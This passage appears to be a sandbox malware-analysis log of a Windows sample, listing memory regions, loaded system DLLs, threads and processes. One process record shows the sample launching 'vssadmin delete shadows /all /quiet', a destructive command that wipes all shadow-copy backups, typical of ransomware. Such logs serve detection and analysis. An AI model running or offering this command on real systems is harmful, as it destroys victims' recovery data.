0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 765 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 766 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 767 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 768 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 885 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 886 start_va = 0x270000 end_va = 0x280fff entry_point = 0x270000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 887 start_va = 0x290000 end_va = 0x291fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 888 start_va = 0x3d0000 end_va = 0x407fff entry_point = 0x3d0000 region_type = mapped_file name = "ulib.dll.mui" filename = "\\Windows\\System32\\en-US\\ulib.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ulib.dll.mui") Region: id = 889 start_va = 0x7fefbf90000 end_va = 0x7fefbfe5fff entry_point = 0x7fefbf90000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Thread: id = 21 os_tid = 0x6d8 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x19915000" os_pid = "0x894" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x124" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1006 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1007 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1008 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 1009 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1010 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1011 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1012 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1013 start_va = 0xffb60000 end_va = 0xffb8cfff entry_point = 0xffb60000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 1014 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1015 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1016 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1017 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1018 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1019 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1020 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1079 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1080 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1081 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1082 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1083 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1084 start_va = 0x160000 end_va = 0x16cfff entry_point = 0x160000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 1085 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1086 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1087 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1088 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1089 start_va = 0x450000 end_va = 0x5d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1090 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1091 start_va = 0x770000 end_va = 0x1b6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1092 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1093 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1094 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1095 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1096 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1097 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1098 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1099 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1100 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1101 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1102 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1103 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1104 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1105 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1106 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1107 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1108 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1217 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1226 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1227 start_va = 0x3a0000 end_va = 0x3b0fff entry_point = 0x3a0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1228 start_va = 0x1ce0000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 1229 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1230 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1231 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1232 start_va = 0x1dc0000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 1233 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1234 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1235 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1236 start_va = 0x1e40000 end_va = 0x210efff entry_point = 0x1e40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1237 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1517 start_va = 0x1b70000 end_va = 0x1beffff entry_point = 0x0 region_type = private name = "private_0x0000000001b70000" filename = "" Region: id = 1518 start_va = 0x2190000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 1519 start_va = 0x7fef9000000 end_va = 0x7fef9013fff entry_point = 0x7fef9000000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1520 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1521 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 23 os_tid = 0x85c Thread: id = 24 os_tid = 0x854 Thread: id = 25 os_tid = 0x84c Thread: id = 26 os_tid = 0x848 Thread: id = 27 os_tid = 0x844 Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x21835000" os_pid = "0x83c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x894" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00050bc6" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1522 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1523 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1524 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1525 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1526 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1527 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1528 start_va = 0xd0000 end_va = 0xe0fff entry_point = 0xd0000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 1529 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1530 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1531 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1532 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1533 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1534 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1535 start_va = 0x200000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1536 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1537 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1538 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1539 start_va = 0x720000 end_va = 0x7dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 1540 start_va = 0x7e0000 end_va = 0xbd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1541 start_va = 0xc00000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1542 start_va = 0xc80000 end_va = 0xcfffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 1543 start_va = 0xd80000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1544 start_va = 0xe70000 end_va = 0xeeffff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 1545 start_va = 0xef0000 end_va = 0x11befff entry_point = 0xef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1546 start_va = 0x11f0000 end_va = 0x126ffff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1547 start_va = 0x1420000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 1548 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1549 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1550 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1551 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1552 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1553 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1554 start_va = 0xffe70000 end_va = 0xffffafff entry_point = 0xffe70000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 1555 start_va = 0x7fef7230000 end_va = 0x7fef7248fff entry_point = 0x7fef7230000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1556 start_va = 0x7fef7250000 end_va = 0x7fef729ffff entry_point = 0x7fef7250000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1557 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1558 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1559 start_va = 0x7fef9000000 end_va = 0x7fef9013fff entry_point = 0x7fef9000000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1560 start_va = 0x7fef9020000 end_va = 0x7fef9033fff entry_point = 0x7fef9020000 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 1561 start_va = 0x7fef9050000 end_va = 0x7fef9059fff entry_point = 0x7fef9050000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1562 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1563 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1564 start_va = 0x7fefb890000 end_va = 0x7fefb8a3fff entry_point = 0x7fefb890000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1565 start_va = 0x7fefb8b0000 end_va = 0x7fefb8c4fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1566 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1567 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f5fff entry_point = 0x7fefb8e0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1568 start_va = 0x7fefb9d0000 end_va = 0x7fefb9d8fff entry_point = 0x7fefb9d0000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1569 start_va = 0x7fefbff0000 end_va = 0x7fefc00cfff entry_point = 0x7fefbff0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1570 start_va = 0x7fefc970000 end_va = 0x7fefc97bfff entry_point = 0x7fefc970000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1571 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1572 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1573 start_va = 0x7fefd290000 end_va = 0x7fefd2befff entry_point = 0x7fefd290000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1574 start_va = 0x7fefd340000 end_va = 0x7fefd353fff entry_point = 0x7fefd340000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1575 start_va = 0x7fefd5a0000 end_va = 0x7fefd5c2fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1576 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1577 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1578 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1579 start_va = 0x7fefd970000 end_va = 0x7fefd989fff entry_point = 0x7fefd970000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1580 start_va = 0x7fefdb00000 end_va = 0x7fefdb35fff entry_point = 0x7fefdb00000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1581 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1582 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1583 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1584 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1585 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1586 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1587 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1588 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1589 start_va = 0x7feff300000 end_va = 0x7feff4d6fff entry_point = 0x7feff300000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: 